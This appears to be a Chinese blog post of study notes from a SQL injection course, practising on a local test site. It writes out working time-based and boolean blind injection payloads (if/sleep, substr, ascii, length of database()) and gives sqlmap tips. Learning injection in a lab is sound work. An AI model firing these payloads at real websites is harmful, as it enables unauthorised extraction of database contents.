第四天SQL注入课随笔
先配置好本地的数据库

1.时间盲注漏洞
一.用sleep函数来
1.访问对应路径

2.然后输入id=1得到

3.接下来判断闭合,看看有没有sql注入漏洞
http://localhost/sql/time_blind/?id=1%27

发现不回显了,代表sql语句出现了问题,但是不回显错误信息,又加了一个引号,发现正常了,相当于又给他闭合了一下,%27是引号
http://localhost/sql/time_blind/?id=1%27%27
4.接下来利用if来进行一个判断,看一下数据库名字有多长,if的参数分别是if(判断的语句,如果是真要执行的语句,如果是假要执行的语句)
http://localhost/sql/time_blind/?id=1%27%20and%20if(length(database()%3E1),sleep(5))
刚开始的错误在于这把>1放在了length里面,应该在外面,并且没有注释后面的语句
http://localhost/sql/time_blind/?id=1%27%20and%20if(length(database())>1,sleep(5),0)--+
这时候发现他延时了5s,后面一步步确定,发现长度是4,
http://localhost/sql/time_blind/?id=1%27%20and%20if(length(database())=4,sleep(5),0)--+
5.后面可以用substr来判断每一位是什么,这里我的数据库是test,来试一试
http://localhost/sql/time_blind/?id=1%27%20and%20if(substr(database(),1,1)=%27t%27,sleep(5),0)--+

二.如果说sleep函数被过滤了,用benchmark()函数或者笛卡尔积,用来代替sleep函数那个位置


三.sqlmap爆破,最好用双引号包裹起来,以防有and的时候,把and识别为sqlmap的and,最好加一个--random-agent

指定类型,B是盲注,

查看是相对应类型的漏洞存在吧

回头学习sqlmap的所有的参数和操作
2.布尔型盲注
http://localhost/sql/time_blind/?id=1%27%20and%201=1--+

正常回显,但是当1=2,就回显失败,所以根据这个去构造语句判断,如判断数据库名字的长度
http://localhost/sql/time_blind/?id=1%27%20and%20length(database())=6--+
就不显示,但是如果等于4,就显示,因为库名是test
http://localhost/sql/time_blind/?id=1%27%20and%20length(database())=4--+

另一种是利用ascii函数,根据返回的字符ascii是不是存在来判断数据库的长度
http://localhost/sql/time_blind/?id=1%27%20and%20ascii(substr(database(),5,1))
如判断5,这时候,就不行,因为第五位是空的

但是如果是判断4,回显成功
left函数

查看数据库存在的表的数量

limit是从第一个参数的值开始,只显示第二个参数个,前一个是索引,后一个是长度

浙公网安备 33010602011771号